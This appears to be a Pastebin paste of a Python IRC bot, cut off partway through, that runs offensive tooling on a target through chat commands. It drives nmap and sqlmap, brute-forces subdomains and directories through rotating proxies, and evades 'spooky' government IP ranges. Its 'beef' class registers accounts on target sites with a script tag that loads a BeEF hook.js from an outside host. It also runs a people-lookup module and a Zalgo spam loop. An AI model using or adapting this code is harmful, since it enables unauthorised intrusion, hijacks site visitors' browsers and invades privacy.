Advertisement
Guest User

Untitled

a guest
Sep 7th, 2017
310
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 38.70 KB | None | 0 0
  1. #!/usr/bin/env python
  2. import random
  3. import socket
  4. import ssl
  5. import threading
  6. import time
  7. import string
  8. import os
  9. import sys
  10. import re
  11. import requests
  12. import subprocess
  13. import urllib.request
  14. import urllib.parse
  15. import queue
  16. agora = 'agora.anarplex.net'
  17. agorap = 14716
  18. local = '127.0.0.1'
  19.  
  20. # Connection
  21. server = local
  22. port = 6667
  23. use_ipv6 = False
  24. use_ssl = False
  25. vhost = None
  26. password = None
  27. channel = '#dev'
  28. key = None
  29. # Other
  30. concurrent = 1
  31. #homies = (' ',' ',' ')
  32. nickserv = None
  33. message = ''
  34. command = []
  35. bot_nick = ('kevasu')
  36.  
  37.  
  38. spooky = ('11','21','22','24','25','26','29','49','50','55','62','64','128','129','130','131','132','134','136','137','138','139','140','143','144','146','147','148','150','152','153','155','156','157','158','159','161','162','163','164','167','168','169','194','195','199','203','204','205','207','208','209','212','213','216','217','6','7')
  39. reserved = ('0','10','100.64','100.65','100.66','100.67','100.68','100.69','100.70','100.71','100.72','100.73','100.74','100.75','100.76','100.77','100.78','100.79','100.80','100.81','100.82','100.83','100.84','100.85','100.86','100.87','100.88','100.89','100.90','100.91','100.92','100.93','100.94','100.95','100.96','100.97','100.98','100.99','100.100','100.101','100.102','100.103','100.104','100.105','100.106','100.107','100.108','100.109','100.110','100.111','100.112','100.113','100.114','100.115','100.116','100.117','100.118','100.119','100.120','100.121','100.122','100.123','100.124','100.125','100.126','100.127','127','169.254','172.16','172.17','172.18','172.19','172.20','172.21','172.22','172.23','172.24','172.25','172.26','172.27','172.28','172.29','172.30','172.31','172.32','192.0.0','192.0.2','192.88.99','192.168','198.18','198.19','198.51.100','203.0.113','224','225','226','227','228','229','230','231','232','233','234','235','236','237','238','239','240','241','242','243','244','245','246','247','248','249','250','251','252','253','254','255')
  40.  
  41. CHAR_UP = ['\u030D', '\u030E', '\u0304', '\u0305', '\u033F',
  42. '\u0311', '\u0306', '\u0310', '\u0352', '\u0357',
  43. '\u0351', '\u0307', '\u0308', '\u030A', '\u0342',
  44. '\u0343', '\u0344', '\u034A', '\u034B', '\u034C',
  45. '\u0303', '\u0302', '\u030C', '\u0350', '\u0300',
  46. '\u0301', '\u030B', '\u030F', '\u0312', '\u0313',
  47. '\u0314', '\u033D', '\u0309', '\u0363', '\u0364',
  48. '\u0365', '\u0366', '\u0367', '\u0368', '\u0369',
  49. '\u036A', '\u036B', '\u036C', '\u036D', '\u036E',
  50. '\u036F', '\u033E', '\u035B', '\u0346', '\u031A']
  51.  
  52. CHAR_MID = ['\u0315', '\u031B', '\u0340', '\u0341', '\u0358',
  53. '\u0321', '\u0322', '\u0327', '\u0328', '\u0334',
  54. '\u0335', '\u0336', '\u034F', '\u035C', '\u035D',
  55. '\u035E', '\u035F', '\u0360', '\u0362', '\u0338',
  56. '\u0337', '\u0361', '\u0489']
  57.  
  58. CHAR_DOWN = ['\u0316', '\u0317', '\u0318', '\u0319', '\u031C',
  59. '\u031D', '\u031E', '\u031F', '\u0320', '\u0324',
  60. '\u0325', '\u0326', '\u0329', '\u032A', '\u032B',
  61. '\u032C', '\u032D', '\u032E', '\u032F', '\u0330',
  62. '\u0331', '\u0332', '\u0333', '\u0339', '\u033A',
  63. '\u033B', '\u033C', '\u0345', '\u0347', '\u0348',
  64. '\u0349', '\u034D', '\u034E', '\u0353', '\u0354',
  65. '\u0355', '\u0356', '\u0359', '\u035A', '\u0323']
  66.  
  67. def debug(msg):
  68. print('{0} | [~] - {1}'.format(get_time(), msg))
  69.  
  70.  
  71.  
  72. def error(msg, reason=None):
  73. if reason:
  74. print('{0} | [!] - {1} ({2})'.format(get_time(), msg, str(reason)))
  75. else:
  76. print('{0} | [!] - {1}'.format(get_time(), msg))
  77.  
  78. def get_time():
  79. return time.strftime('%I:%M:%S')
  80.  
  81. def random_int(min, max):
  82. return random.randint(min, max)
  83.  
  84. def random_vowel(size):
  85. return ''.join(random.choice('ai') for _ in range(size))
  86.  
  87. def random_consonant(size):
  88. return ''.join(random.choice('rpz') for _ in range(size))
  89.  
  90.  
  91. def check_ip(ip):
  92. return re.match('^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$', ip)
  93.  
  94. class scan(threading.Thread):
  95. def __init__(self, ip,command,sendmsg):
  96. self.ip = ip
  97. self.command = command
  98. self.sendmsg = sendmsg
  99. self.bot_nick = bot_nick
  100. self.timeouts = 0
  101. threading.Thread.__init__(self)
  102. def run(self):
  103. self.scanstart()
  104. def scanstart(self):
  105. fip = self.ip.replace(".","-")
  106. dirb = 0
  107. nikto = 0
  108. nmap = 0
  109. shuriken = 0
  110. xsser = 0
  111. nmap_file = 0
  112. nmap_scan = fip+"_nmap.xml"
  113. sqlout = fip+"_sqlmap_out.txt"
  114. if os.path.isfile(nmap_scan):
  115. pass
  116. d = []
  117. q = []
  118. m = []
  119. count = 0
  120. with open(nmap_scan) as scan:
  121. for line in scan:
  122. if('state state="open"' in line):
  123. count += 1
  124. line = line.split('portid="')[-1]
  125. prt = line.split('"')[0]
  126. # ##for bot_nick in self.bot_nick:
  127. # self.sendmsg(channel,"PORT: "+prt)
  128. ver = line
  129. ver1 = ver.split('version="')[-1]
  130. version = ver1.split('"')[0]
  131. # #for bot_nick in self.bot_nick:
  132. # self.sendmsg(channel,'VERSION: '+version)
  133. pro = line
  134. pro1 = pro.split('product="')[-1]
  135. prdct = pro1.split('"')[0]
  136. product = prdct
  137. # #for bot_nick in self.bot_nick:
  138. # self.sendmsg(channel,'PRODUCT: '+product)
  139. nm = line
  140. nm1 = nm.split('name="')[-1]
  141. name = nm1.split('"')[0]
  142. # #for bot_nick in self.bot_nick:
  143. # self.sendmsg(channel,'NAME: '+name)
  144. s = ' '+str(count)+(' : PORT: '+prt+'\n NAME: '+name+'\n PRODUCT: '+product+'\n VERSION: '+version.format(count))
  145. p = {
  146. s+' '+product
  147. }
  148. d += p
  149. b = {
  150. product.replace(" httpd","")+' '+version[0:3]
  151. }
  152. q += b
  153. w = {
  154. prt
  155. }
  156. m += w
  157. self.subdomain()
  158. # self.crawl()
  159. # self.dirscan()
  160. if os.path.isfile("../.sqlmap/output/"+ip+"/log"):
  161. pass
  162. else:
  163. self.sqlcheck(dirbf)
  164. return
  165. else:
  166. nmap = 1
  167. self.subdomain()
  168. self.crawl()
  169. # self.dirscan()
  170. # self.execute(nmap,nmap_scan,shuriken)
  171. return
  172.  
  173. def sqlcheck(self,dscan):
  174. self.sendmsg(channel,"Checking for php parameters")
  175. with open(dscan) as df:
  176. for line in df:
  177. if ('index.php?') in line:
  178. l3 = line+'=asd'
  179. self.sendmsg(channel, l3)
  180. global cmd
  181. cmd = subprocess.Popen(['sqlmap','--threads','10','--level','3','--batch','--forms','--disable-coloring','--dbms','mysql','-u',l3], stdout=subprocess.PIPE)
  182. self.exec_output(cmd)
  183.  
  184. def shuriken_check(self,line):
  185. l2 = line
  186. global cmd
  187. cmd = subprocess.Popen(['../shuriken/shuriken_xss.py','-u',l2,'-p',"./XSS_payloads/XSS.txt"],stdout=subprocess.PIPE)
  188. while True:
  189. output = cmd.stdout.readline()
  190. if output == '' and cmd.poll() is not None:
  191. break
  192. if output:
  193. out = output.strip()
  194. out = out.decode('utf-8')
  195. if '94m' in out:
  196. #for bot_nick in self.bot_nick:
  197. self.sendmsg(channel,out)
  198. else:
  199. break
  200. rc = cmd.poll()
  201.  
  202. def dirscan(self):
  203. wlst = './SecLists/Discovery/Web_Content/common.txt'
  204. if os.path.isfile('./dirs.txt'):
  205. os.remove('./dirs.txt')
  206.  
  207. def recurse(directory,wlst):
  208. dirscanf = './dirs.txt'
  209. df = open(dirscanf,'a')
  210. with open(wlst, encoding="ISO-8859-1") as wl:
  211. for line in wl:
  212. url = directory[:-2]+'/'+line
  213. req = urllib.request.Request(url)
  214. try:
  215. conn = urllib.request.urlopen(req)
  216. except urllib.error.HTTPError as e:
  217. pass
  218. except urllib.error.URLError as e:
  219. pass
  220. except UnicodeEncodeError as e:
  221. pass
  222. else:
  223. df.write(url)
  224. self.sendmsg(channel, '200 OK '+url)
  225.  
  226. dirscanf = './dirs.txt'
  227. df = open(dirscanf,'a')
  228. proxylist = './proxies.txt'
  229. urls = []
  230. self.sendmsg(channel,"COMBINING PROXIES WITH URLS, PLEASE WAIT")
  231. with open(wlst, encoding="ISO-8859-1") as wl:
  232. for line in wl:
  233. url = 'http://'+self.ip+'/'+line.rstrip('\n')
  234. urls.append(url)
  235.  
  236. proxyl = []
  237. with open(proxylist) as pl:
  238. for proxy in pl:
  239. proxyl.append(proxy.rstrip('\n'))
  240. input_queue = queue.Queue()
  241. url_queue = queue.Queue()
  242. result_queue = queue.Queue()
  243. threads = []
  244. urlp = []
  245. urlload =[]
  246. proxylist = []
  247. random.shuffle(urls)
  248. for i in range(len(urls)):
  249. url = urls[i]
  250. urlload.append(url)
  251. url_queue.put(url)
  252. random.shuffle(proxyl)
  253. input_queue.put(proxyl)
  254. t = scanurl(input_queue,url_queue,self.sendmsg)
  255. threads.append(t)
  256. ucount = len(proxy)*len(urlload)
  257. self.sendmsg(channel,"PROXY/URL COUNT IS: "+str(ucount))
  258. t.start()
  259. t.join()
  260.  
  261. '''
  262. req = urllib.request.Request(url)
  263. try:
  264. conn = urllib.request.urlopen(req)
  265. except urllib.error.HTTPError as e:
  266. pass
  267. except urllib.error.URLError as e:
  268. pass
  269. except UnicodeEncodeError as e:
  270. pass
  271. else:
  272. if '/' in line[-2:]:
  273. directory = 'http://'+self.ip+'/'+line
  274. self.sendmsg(channel, 'FOLLOWING '+url)
  275. recurse(directory,wlst)
  276. else:
  277. df.write(url)
  278. self.sendmsg(channel, '200 OK '+url)
  279. df.close
  280. beef(self.sendmsg).start()
  281. '''
  282.  
  283. def execute(self,nmap,nmap_scan,shuriken):
  284. if nmap == 1:
  285. global cmd
  286. self.sendmsg(channel,self.ip)
  287. cmd = subprocess.Popen(['sudo','nmap','-v','-v','-v','-v','-O','-T5','-sV','--version-light','-oX',nmap_scan,self.ip],stdout=subprocess.PIPE)
  288. self.exec_output(cmd)
  289. else:
  290. pass
  291.  
  292. def exec_output(self,cmd):
  293. while True:
  294. output = cmd.stdout.readline()
  295. if output == '' and cmd.poll() is not None:
  296. break
  297. if output:
  298. out = output.strip()
  299. out = out.decode('utf-8')
  300. out = out.replace('..."','')
  301. #for bot_nick in self.bot_nick:
  302. self.sendmsg(channel,out)
  303. else:
  304. break
  305. rc = cmd.poll()
  306.  
  307. def subdomain(self):
  308. url = self.ip
  309. hostwl = '../hostnames.txt'
  310. hostnames = []
  311. proxylist = 'proxies.txt'
  312. proxies = []
  313. with open(proxylist) as pl:
  314. for line in pl:
  315. proxies.append(line.rstrip("\n"))
  316. with open(hostwl) as hw:
  317. for line in hw:
  318. hostnames.append(line.rstrip("\n"))
  319. for host in hostnames:
  320. for proxy in proxies:
  321. try:
  322. u = 'http://'+host+'.'+url
  323. s = requests.Session()
  324. s.proxies = {'http': 'http://'+proxy}
  325. s.headers = requests.utils.default_headers()
  326. s.headers.update = {
  327. 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'
  328. }
  329. a = s.head(u, timeout=2)
  330. status = str(a.status_code)
  331. clen = a.headers.get('content-length')
  332. print("LENGTH: "+clen)
  333. print(u+' '+'http://'+proxy+' '+str(a.status_code))
  334. if status == '200':
  335. c = requests.get(u, timeout=15)
  336. print(c)
  337. self.sendmsg(channel, status+' '+u+' '+"LENGTH: "+clen)
  338. break
  339. else:
  340. pass
  341. except:
  342. pass
  343.  
  344. class httpcrawl(threading.Thread):
  345. def __init__(self,sendmsg,command):
  346. threading.Thread.__init__(self)
  347. self.sendmsg = sendmsg
  348. self.ip = command
  349. def run(self):
  350. self.crawl()
  351.  
  352. def crawl(self):
  353. def depth1(stop_event,tasks,):
  354. urllist = []
  355. while not stop_event:
  356. links = []
  357. with open('linklist.txt') as ll:
  358. for link in ll:
  359. print(link)
  360. links.append(link.rstrip("\n"))
  361. for link in links:
  362. for task in tasks:
  363. random.shuffle(tasks)
  364. prox = task
  365. try:
  366. proxy = urllib.request.ProxyHandler({'http': 'http://'+prox})
  367. opener = urllib.request.build_opener(proxy)
  368. opener.addheaders = [('User-Agent','Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.1 Safari/603.1.30')]
  369. urllib.request.install_opener(opener)
  370. self.sendmsg(channel,"Getting URL: "+link+" @ "+task)
  371. html = urllib.request.urlopen(link,timeout=15).read().decode("utf-8")
  372. if len(html) == 0:
  373. pass
  374. else:
  375. urllist.append(html)
  376. self.sendmsg(channel, "SUCCESS")
  377. filename = link.replace("/","_")
  378. directory = self.ip.replace(".","-")
  379. print(directory)
  380. if not os.path.exists(directory):
  381. os.makedirs(directory)
  382. print(directory+" made")
  383. else:
  384. la = open("./"+directory+"/"+filename,'a')
  385. for items in urllist:
  386. la.write(items)
  387. la.close()
  388.  
  389. break
  390. except urllib.error.HTTPError as e:
  391. print(e)
  392. pass
  393. except urllib.error.URLError as e:
  394. print(e)
  395. pass
  396. except:
  397. print("ERROR")
  398. break
  399. def crawler(stop_event,tasks):
  400. while not stop_event:
  401. for task in tasks:
  402. random.shuffle(tasks)
  403. self.sendmsg(channel, "Trying "+task)
  404. prox = task
  405. try:
  406. urls = []
  407. url = 'http://'+self.ip
  408. proxy = urllib.request.ProxyHandler({'http': 'http://'+prox})
  409. opener = urllib.request.build_opener(proxy)
  410. opener.addheaders = [('User-Agent','Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.1 Safari/603.1.30')]
  411. urllib.request.install_opener(opener)
  412. depth = re.findall(r"""<\s*a\s*href=["']([^=]+)["']""", urllib.request.urlopen(url,timeout=15).read().decode("utf-8"))
  413. urllist = []
  414. if len(depth) == 0:
  415. print(" no html")
  416. else:
  417. for line in depth:
  418. if line.startswith('/'):
  419. l = url+line
  420. # print(l)
  421. urls.append(l)
  422. else:
  423. pass
  424. print("Ending thread for "+url+' @ '+task)
  425. stop_event.append(True)
  426. stop(stop_event,urls,urllist)
  427.  
  428. except urllib.error.HTTPError as e:
  429. print(e)
  430. break
  431. except urllib.error.URLError as e:
  432. print(e)
  433. break
  434. except:
  435. break
  436. break
  437.  
  438. def stop(stop_event,urls,urllist):
  439. links = set(urls)
  440. alinks = set(urllist)
  441. count = 0
  442. if os.path.isfile('linklist.txt'):
  443. os.remove('linklist.txt')
  444. else:
  445. pass
  446. ll = open('linklist.txt','a')
  447. for url in links:
  448. print(url)
  449. ll.write(url+'\n')
  450. ll.close
  451. ll = open('linklistall.txt','a')
  452. for url in alinks:
  453. print(url)
  454. ll.write(url+'\n')
  455. ll.close
  456. while count < 10:
  457. for url in links:
  458. count += 1
  459. self.sendmsg(channel, url)
  460. if count == 10:
  461. return count
  462. else:
  463. pass
  464. count = 0
  465. while count < 10:
  466. for url in alinks:
  467. count += 1
  468. self.sendmsg(channel, url)
  469. if count == 10:
  470. return count
  471. else:
  472. pass
  473. if len(urls) == 0:
  474. stop_event.append(False)
  475. thread_gen(stop_event, tasks)
  476. else:
  477. stop_event.append(True)
  478. thread_gen(stop_event, tasks)
  479.  
  480. def thread_gen(stop_event, tasks):
  481. crawler(stop_event,tasks)
  482.  
  483. tasks = []
  484. with open('proxies.txt') as pl:
  485. for line in pl:
  486. tasks.append(line)
  487. random.shuffle(tasks)
  488. stop_event = []
  489. thread_gen(stop_event, tasks)
  490. self.sendmsg(channel,"Connection Ended")
  491. stop_event = []
  492. depth1(stop_event,tasks)
  493.  
  494.  
  495.  
  496. class scanurl(threading.Thread):
  497. def __init__(self,task_queue,url_queue,sendmsg):
  498. threading.Thread.__init__(self)
  499. self.task_queue = task_queue
  500. self.url_queue = url_queue
  501. self.sendmsg = sendmsg
  502. def run(self):
  503. found = 0
  504. task = self.task_queue.get()
  505. for line in task:
  506. url = self.url_queue.get()
  507. print(url+' '+line)
  508. result = self.urlscan(line,url)
  509.  
  510. def urlscan(self,line,url):
  511. proxy = line
  512. try:
  513. s = requests.Session()
  514. s.proxies = {'http': 'http://'+proxy+':80'}
  515. s.headers = requests.utils.default_headers()
  516. s.headers.update = {
  517. 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'
  518. }
  519. a = s.head(url, timeout=15)
  520. status = a.status_code
  521. clen = a.headers.get('content-length')
  522. print(str(a.status_code))
  523. print("LENGTH: "+clen)
  524. print(url+' '+'http://'+proxy+' '+str(a.status_code))
  525. if 'content-length' in a.headers:
  526. print(str(a.status_code))
  527. print("LENGTH: "+clen)
  528. self.sendmsg(channel,url)
  529. self.sendmsg(channel,' VIA '+proxy)
  530. self.sendmsg(channel,' CODE: '+str(a.status_code))
  531. self.sendmsg(channel,' LENGTH: '+clen)
  532. c = requests.get(url, timeout=15)
  533. self.sendmsg(channel, c)
  534. print(c)
  535. url = self.url_queue.get()
  536. else:
  537. print(str(a.status_code))
  538. except:
  539. pass
  540.  
  541. class xsscrawl(threading.Thread):
  542. def __init__(self,sendmsg):
  543. self.dirscanf = './dirs.txt'
  544. self.sendmsg = sendmsg
  545. threading.Thread.__init__(self)
  546. def run(self):
  547. self.xsser()
  548. def xsser(self):
  549. with open(self.dirscanf) as df:
  550. for line in df:
  551. if ('index.php?') in line:
  552. time.sleep(1)
  553. print(line)
  554. '''
  555. l = line
  556. cmd = subprocess.Popen(['xsser','--follow-redirects','--auto','--threads','20','--all',l],stdout=subprocess.PIPE)
  557. while True:
  558. output = cmd.stdout.readline()
  559. if output == '' and cmd.poll() is not None:
  560. break
  561. if output:
  562. out = output.strip()
  563. out = out.decode('utf-8')
  564. self.sendmsg(channel,out)
  565. else:
  566. break
  567. rc = cmd.poll()
  568. '''
  569.  
  570. class beef(threading.Thread):
  571. def __init__(self,sendmsg):
  572. self.dirscanf = './linklist.txt'
  573. self.sendmsg = sendmsg
  574. threading.Thread.__init__(self)
  575. def run(self):
  576. self.hook()
  577. def hook(self):
  578. # self.sendmsg(channel,"PERFORMING BEEF HOOK INJECTION ON REGISTRATION FORM")
  579. def membercheck():
  580. with open(self.dirscanf) as df:
  581. for line in df:
  582. if ('members') in line:
  583. headers = {}
  584. headers['User-Agent'] = "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:48.0) Gecko/20100101 Firefox/48.0"
  585. req = urllib.request.Request(line, headers = headers)
  586. html = urllib.request.urlopen(req).read().decode('utf-8')
  587. s = len(re.findall('hook.js' and 'user-', html))
  588. self.sendmsg(channel,str(s)+" hooks found!")
  589.  
  590. with open(self.dirscanf) as df:
  591. for line in df:
  592. if ('register') in line:
  593. print(line)
  594. headers = {}
  595. headers['User-Agent'] = "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:48.0) Gecko/20100101 Firefox/48.0"
  596. req = urllib.request.Request(line, headers = headers)
  597. html = urllib.request.urlopen(req).read()
  598. html = html.decode('ascii')
  599. if 'username' in html:
  600. frm = html.split("<form action='")[1]
  601. form = frm.split("' method='")[0]
  602. print(form)
  603. if 'username' in html:
  604. usr = html.split("form action")[1]
  605. usrn = usr.split("name='")[1]
  606. username = usrn.split("'><br")[0]
  607. print(username)
  608. if ('password') in html:
  609. passw = html.split("form action")[1]
  610. passwrd = passw.split("type='password' name='")[-1]
  611. password = passwrd.split("'><br")[0]
  612. print(password)
  613. if ('email') in html:
  614. em = html.split('form action')[1]
  615. ema = em.split("type='register' name='")[-1]
  616. email = ema.split("'><br")[0]
  617. print(email)
  618. baseurl = line.split("register.html")[0]
  619. name = random_vowel(random_int(4,5))
  620. fishhook = '<script src="http://192.168.110.210:3000/hook.js"></script>'
  621. self.sendmsg(channel, "Name is: "+name)
  622. passwordin = random_vowel(random_int(8,12))
  623. self.sendmsg(channel,"Password is: "+passwordin)
  624. emailin = random_vowel(random_int(4,5))+'@'+random_vowel(random_int(4,8))
  625. self.sendmsg(channel,"Email is: "+emailin)
  626. posturl = baseurl+form
  627. postdata = username+name+fishhook+password+passwordin+email+emailin
  628. data = urllib.parse.urlencode({username:name+fishhook,password:passwordin,email:emailin}).encode("utf-8")
  629. u = urllib.request.urlopen(posturl, data)
  630. html = u.read()
  631. htmls = html.decode('utf-8')
  632. if 'registered' in htmls:
  633. self.sendmsg(channel,"XSS SUCCESS")
  634. membercheck()
  635.  
  636. class rarada(threading.Thread):
  637. def __init__(self,sendmsg):
  638. threading.Thread.__init__(self)
  639. self.sendmsg = sendmsg
  640. def run(self):
  641. zal = []
  642. while True:
  643. random.shuffle(CHAR_UP)
  644. random.shuffle(CHAR_MID)
  645. random.shuffle(CHAR_DOWN)
  646. a = ''.join(CHAR_UP)
  647. b = ''.join(CHAR_MID)
  648. c = ''.join(CHAR_DOWN)
  649. z = c
  650. self.sendmsg(channel, random_consonant(1)+z+random_vowel(1)+z+random_consonant(1)+z+random_vowel(1)+z+random_consonant(1)+random_vowel(1)+z)
  651. time.sleep(3600)
  652.  
  653.  
  654. class clone(threading.Thread):
  655. def __init__(self):
  656. self.server = server
  657. self.channel = channel
  658. self.port = port
  659. self.use_ipv6 = use_ipv6
  660. self.use_ssl = use_ssl
  661. self.vhost = vhost
  662. self.password = password
  663. self.bot_nick = bot_nick
  664. #self.homies = homies
  665. self.nickserv = nickserv
  666. self.connected = False
  667. self.sock = None
  668. self.message = message
  669. threading.Thread.__init__(self)
  670. def run(self):
  671. self.connect()
  672. def connect(self):
  673. try:
  674. self.create_socket()
  675. self.sock.connect((self.server, self.port))
  676. if self.password:
  677. self.raw('PASS ' + self.password)
  678. self.raw('USER {0} 0 * :{1}'.format(random_consonant(1), random_consonant(1)))
  679. self.nick(random_vowel(random_int(1,3))+random_consonant(2))
  680. except socket.error as ex:
  681. error('Failed to connect to IRC server.', ex)
  682. self.event_disconnect()
  683. else:
  684. self.listen()
  685.  
  686. def create_socket(self):
  687. if self.use_ipv6:
  688. self.sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
  689. else:
  690. self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  691. if self.vhost:
  692. self.sock.bind((self.vhost, 0))
  693. if self.use_ssl:
  694. self.sock = ssl.wrap_socket(self.sock)
  695.  
  696. def event_connect(self):
  697. self.connected = True
  698. self.join_channel(channel, key)
  699. if self.nickserv:
  700. self.identify(self.username, self.nickserv)
  701. new_nick = random_consonant(1)+random_vowel(1)+random_consonant(1)+random_vowel(1)+random_consonant(1)+random_vowel(1)
  702. self.nick(new_nick)
  703. self.nickname = new_nick
  704.  
  705. def event_disconnect(self):
  706. self.connected = False
  707. self.sock.close()
  708.  
  709. def event_reconnect(self):
  710. self.connected = False
  711. self.sock.close()
  712. time.sleep(1)
  713. self.connect()
  714.  
  715. def event_invite(self, nick, chan):
  716. pass
  717.  
  718. def event_join(self, nick, chan):
  719. pass
  720.  
  721. def event_kick(self, nick, chan, kicked):
  722. time.sleep(3)
  723. self.join_channel(channel, key)
  724.  
  725.  
  726. def event_nick_in_use(self):
  727. error('The bot is already running or nick is in use.')
  728.  
  729. def event_part(self, nick, chan):
  730. pass
  731.  
  732. def event_private(self, nick, msg):
  733. pass
  734.  
  735. def event_quit(self, nick):
  736. pass
  737.  
  738. def handle_events(self, data, bot_nick, command):
  739. args = data.split()
  740. if args[0] == 'PING':
  741. self.raw('PONG ' + args[1][1:])
  742. elif args[1] == '001': # Use 002 or 003 if you run into issues.
  743. self.event_connect()
  744. elif args[1] == '433':
  745. self.nick(random_consonant(4))
  746. elif args[1] == 'INVITE':
  747. nick = args[0].split('!')[0][1:]
  748. chan = args[3][1:]
  749. self.event_invite(nick, chan)
  750. elif args[1] == 'JOIN':
  751. nick = args[0].split('!')[0][1:]
  752. chan = args[2][1:]
  753. self.event_join(nick, chan)
  754. elif args[1] == 'KICK':
  755. nick = args[0].split('!')[0][1:]
  756. chan = args[2]
  757. kicked = args[3]
  758. self.event_kick(nick, chan, kicked)
  759. elif args[1] == 'PART':
  760. nick = args[0].split('!')[0][1:]
  761. chan = args[2]
  762. self.event_part(nick, chan)
  763. elif args[1] == 'PRIVMSG':
  764. chan = args[2]
  765. if data.startswith('\001'):
  766. pass #ctcp event
  767. elif chan == self.channel:
  768. tnick = ('kevasu','sunnid')
  769. nick = args[0].split('!')[0][1:]
  770. for line in tnick:
  771. if nick == line:
  772. print(nick)
  773. msg = data.split('{args[0]} PRIVMSG {chan} :')[0]
  774. self.event_message(msg,nick,channel)
  775. else:
  776. pass
  777. else:
  778. pass
  779. elif args[1] == 'QUIT':
  780. nick = args[0].split('!')[0][1:]
  781. self.event_quit(nick)
  782.  
  783. def event_message(self,msg,nick,channel):
  784. ip = ''
  785. nmap_file = 0
  786. dirb_file = 0
  787. nikto_file = 0
  788. xsser_file = 0
  789. sqlmap_file = 0
  790. args = msg.split()
  791. trigger = args[3]
  792. if ('.help') in trigger != -1:
  793. menu = [
  794. "====================",
  795. "| .nsl (host) |",
  796. "| .ip (ip) |",
  797. "| .quit |",
  798. "| .hook |",
  799. "| .join (channel) |",
  800. "| .part (channel) |",
  801. "| .quit (quit) |",
  802. "| .rec (reconnect) |",
  803. "===================="
  804. ]
  805. for line in menu:
  806. self.sendmsg(channel,line)
  807. if ('.subd') in trigger != -1:
  808. command = msg.split()[4]
  809. ip = command
  810. scan(ip,command,self.sendmsg).start()
  811. if ('.name') in trigger != -1:
  812. if len(msg.split()[4]) > 0:
  813. if len(msg.split()[4]) > 0:
  814. if len(msg.split()[4]) > 0:
  815. import builtins
  816. global _f
  817. builtins._f = msg.split()[4]
  818. f = _f
  819. global _l
  820. builtins._l = msg.split()[5]
  821. l = _l
  822. global _c
  823. builtins._c = msg.split()[6]
  824. c = _c
  825. global _s
  826. builtins._s = msg.split()[7]
  827. s = _s
  828. import nuwber
  829. nuwber.nuwber()
  830. for item in builtins.rows:
  831. print(item)
  832. self.sendmsg(channel,item)
  833.  
  834. if ('.z') in trigger != -1:
  835. rarada(self.sendmsg).start()
  836. if ('.nick') in trigger != -1:
  837. new_nick = random_consonant(1)+random_vowel(1)+random_consonant(1)+random_vowel(1)+random_consonant(1)+random_vowel(1)
  838. self.nick(new_nick)
  839. self.nickname = new_nick
  840. if ('.quit') in trigger != -1:
  841. self.raw('QUIT ' + "QUIT")
  842. if ('.join') in trigger != -1:
  843. channel = msg.split()[4]
  844. self.raw('JOIN ' + channel)
  845.  
  846. if ('part') in trigger != -1:
  847. chan = msg.split()[4]
  848. self.raw('PART ' + chan)
  849. if ('.rec') in trigger != -1:
  850. self.event_reconnect()
  851.  
  852. if ('.crawl') in trigger != -1:
  853. command = msg.split()[4]
  854. httpcrawl(self.sendmsg,command).start()
  855.  
  856. if ('.nsl') in trigger != -1:
  857. command = msg.split()[4]
  858. ip = command
  859. if check_ip(ip):
  860. scan(ip,command,self.sendmsg).start()
  861. badtlds = ('gov')
  862. if command.endswith(badtlds):
  863. self.sendmsg(channel,nick+" IS A FEDSNITCH")
  864. else:
  865. host = command.replace(".","-")
  866. hostlist = host+"_hostlist.txt"
  867. if os.path.isfile(hostlist):
  868. os.remove(hostlist)
  869. else:
  870. pass
  871. ht = open(hostlist,'a')
  872. cmd = subprocess.Popen(['nslookup',command],stdout=subprocess.PIPE)
  873. while True:
  874. output = cmd.stdout.readline()
  875. if output == '' and cmd.poll() is not None:
  876. break
  877. if output:
  878. out = output.strip()
  879. out = out.decode('utf-8')
  880. if 'Address:' in out:
  881. ip = out.split("Address: ")[-1]
  882. if '#53' not in ip:
  883. ht.write(ip+'\r\n')
  884. else:
  885. pass
  886. else:
  887. break
  888. rc = cmd.poll()
  889. ht.close()
  890. with open(hostlist) as hl:
  891. for hst in hl:
  892. line = hst.strip()
  893. self.sendmsg(channel,"Added "+line)
  894. ipl = line
  895. ip = command
  896. scan(ip,command,self.sendmsg).start()
  897. if ('.rr') in trigger != -1:
  898. clone().start()
  899.  
  900. if ('.stop') in trigger != -1:
  901. cmd.kill()
  902. if ('.ip') in trigger != -1:
  903. command = msg.split()[4]
  904. ip = ''.join(command)
  905. if check_ip(ip):
  906. scan(ip,command,self.sendmsg).start()
  907. targets = ip
  908. found = False
  909. if found:
  910. pass
  911. for bad_range in spooky + reserved:
  912. if ip.startswith(bad_range + '.'):
  913. found = True
  914. self.sendmsg(channel, 'Spooky/Reserved IP address range.')
  915. else:
  916. pass
  917. # scan(ip,command,self.sendmsg).start()
  918.  
  919. if ('.hook') in trigger != -1:
  920. beef.daemon = True
  921. beef(self.sendmsg).start()
  922. if ('.delnmap') in trigger != -1:
  923. if os.path.isfile(nmap_scan):
  924. os.remove(nmap_scan)
  925. #for bot_nick in self.bot_nick:
  926. self.sendmsg(channel,nmap_scan+" has been removed.")
  927. else:
  928. pass
  929. if ('.delsql') in trigger != -1:
  930. if os.path.isfile('../.sqlmap/output/"+ip+"/log'):
  931. os.remove('../.sqlmap/output/"+ip+"/log')
  932. #for bot_nick in self.bot_nick:
  933. self.sendmsg(channel,"../.sqlmap/output/"+ip+"/log has been removed.")
  934. else:
  935. pass
  936.  
  937. def identify(self, username, password):
  938. self.sendmsg('nickserv', 'identify {0} {1}'.format(username, password))
  939.  
  940. def listen(self):
  941. opt = []
  942. while True:
  943. try:
